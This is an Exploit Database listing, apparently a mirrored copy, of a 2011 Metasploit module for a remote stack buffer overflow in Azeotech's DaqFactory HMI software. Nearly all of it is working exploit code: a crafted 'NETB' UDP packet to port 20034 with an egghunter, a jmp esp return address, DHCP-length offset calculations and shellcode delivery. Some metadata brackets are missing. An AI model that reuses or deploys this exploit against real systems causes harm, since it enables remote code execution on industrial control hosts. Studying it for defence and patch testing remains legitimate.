DaqFactory – HMI NETB Request Overflow (Metasploit)

Exploit Database
124 阅读

作者： Metasploit

日期： 2011-09-18
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/17855/

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# $Id: daq_factory_bof.rb 13750 2011-09-18 02:45:55Z sinn3r $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Udp

include Msf::Exploit::Remote::Egghunter

def initialize(info = {})

super(update_info(info,

'Name' => 'DaqFactory HMI NETB Request Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Azeotech's DaqFactory

product. The specfic vulnerability is triggered when sending a specially crafted

'NETB' request to port 20034. Exploitation of this vulnerability may take a few

seconds due to the use of egghunter.This vulnerability was one of the 14

releases discovered by researcher Luigi Auriemma.

'Author' =>

[

'Luigi Auriemma',# Initial discovery, crash poc

'mr_me <steventhomasseeley[at]gmail.com>',# msf exploit

'Version'=> '$Revision: 13750 $',

'References' =>

[

['URL', 'http://aluigi.altervista.org/adv/daqfactory_1-adv.txt'],

'DefaultOptions' =>

{

'EXITFUNC' => 'process',

'InitialAutoRunScript' => 'migrate -f',

'Payload'=>

{

'Space'=> 600,

'BadChars' => "\x00",

'Platform' => 'win',

'Targets'=>

[

'DAQFactory Pro 5.85 Build 1853 on Windows XP SP3',

{

'Ret' => 0x100B9EDF,# jmp esp PEGRP32A.dll

'Offset' => 636,

}

'DisclosureDate' => 'Sep 13 2011',

'DefaultTarget'=> 0))

register_options(

[

# Required for EIP offset

OptString.new('DHCP', [ true, "The DHCP server IP of the target", "" ]),

Opt::RPORT(20034)

], self.class)

end

def exploit

connect_udp

print_status("Trying target #{target.name}...")

eggoptions ={

:checksum => false,

:eggtag => 'scar',

}

# Correct the offset according to the 2nd IP (DHCP) length

iplen = datastore['DHCP'].length

if iplen == 15

offset = 78

elsif iplen == 14

offset = 79

elsif iplen == 13

offset = 80

elsif iplen == 12

offset = 81

elsif iplen == 11

offset = 82

elsif iplen == 10

offset = 83

elsif iplen == 9

offset = 84

elsif iplen == 8

offset = 85

elsif iplen == 7

offset = 86

elsif iplen == 6

offset = 87

# attack class A ip, slightly unlikly, but just in case.

elsif iplen == 5

offset = 88

end

if offset >= 80

pktoffset = offset - 80

finaloffset = target['Offset']-pktoffset

elsif offset <= 79

pktoffset = 80 - offset

finaloffset = target['Offset']+pktoffset

end

# springboard onto our unmodified payload

p = Rex::Arch::X86.jmp(750) + payload.encoded

hunter,egg = generate_egghunter(p, payload_badchars, eggoptions)

sploit= "NETB"# NETB request overflow

sploit << rand_text_alpha_upper(233)

sploit << "\x00"# part of the packet structure

sploit << rand_text_alpha_upper(offset)# include the offset for the DHCP address

sploit << make_nops(2)

sploit << hunter

sploit << rand_text_alpha_upper(52-hunter.length-2)

sploit << [target.ret].pack("V")

sploit << rand_text_alpha_upper(12)

sploit << Rex::Arch::X86.jmp_short(-70)

sploit << egg

# packetlen needs to be adjusted to a max of 0x400 as per advisory

sploit << rand_text_alpha_upper(finaloffset-egg.length)

# The use of rand_text_alpha_upper() ensures we always get the same length for the

# first IP address. See the following for more details:

# http://dev.metasploit.com/redmine/issues/5453

sploit[12,4] = rand_text_alpha_upper(4)

udp_sock.put(sploit)

handler

disconnect_udp

end